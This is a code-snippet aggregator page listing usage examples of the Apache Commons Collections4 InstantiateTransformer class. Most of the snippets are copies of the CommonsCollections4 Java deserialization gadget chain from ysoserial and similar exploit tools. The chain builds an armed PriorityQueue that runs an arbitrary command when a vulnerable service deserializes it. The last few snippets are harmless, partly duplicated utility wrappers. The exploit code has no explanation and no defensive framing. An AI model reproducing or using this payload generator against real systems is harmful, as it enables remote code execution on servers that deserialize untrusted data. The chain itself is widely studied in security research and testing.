Java 类org.apache.commons.collections4.functors.InstantiateTransformer 实例源码

项目:APacheSynapseSimplePOC    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:ysoserial-modified    文件:CommonsCollections4.java   
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {

    Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:ysoserial-plus    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:JavaSerialKiller    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:ysoserial    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Gets a Transformer that expects an input Class object that it will instantiate.
 *
 * @param <T>  the output type
 * @return the transformer
 * @see InstantiateTransformer
 */
public static <T> Transformer<Class<? extends T>, T> instantiateTransformer() {
    return InstantiateTransformer.instantiateTransformer();
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Creates a Transformer that expects an input Class object that it will
 * instantiate. The constructor used is determined by the arguments specified
 * to this method.
 *
 * @param <T>  the output type
 * @param paramTypes  parameter types for the constructor, can be null
 * @param args  the arguments to pass to the constructor, can be null
 * @return the transformer
 * @throws IllegalArgumentException if the paramTypes and args don't match
 * @see InstantiateTransformer
 */
public static <T> Transformer<Class<? extends T>, T> instantiateTransformer(
        final Class<?>[] paramTypes, final Object[] args) {
    return InstantiateTransformer.instantiateTransformer(paramTypes, args);
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Gets a Transformer that expects an input Class object that it will instantiate.
 *
 * @param <T>  the output type
 * @return the transformer
 * @see InstantiateTransformer
 */
public static <T> Transformer<Class<? extends T>, T> instantiateTransformer() {
    return InstantiateTransformer.instantiateTransformer();
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Creates a Transformer that expects an input Class object that it will
 * instantiate. The constructor used is determined by the arguments specified
 * to this method.
 *
 * @param <T>  the output type
 * @param paramTypes  parameter types for the constructor, can be null
 * @param args  the arguments to pass to the constructor, can be null
 * @return the transformer
 * @throws IllegalArgumentException if the paramTypes and args don't match
 * @see InstantiateTransformer
 */
public static <T> Transformer<Class<? extends T>, T> instantiateTransformer(
        final Class<?>[] paramTypes, final Object[] args) {
    return InstantiateTransformer.instantiateTransformer(paramTypes, args);
}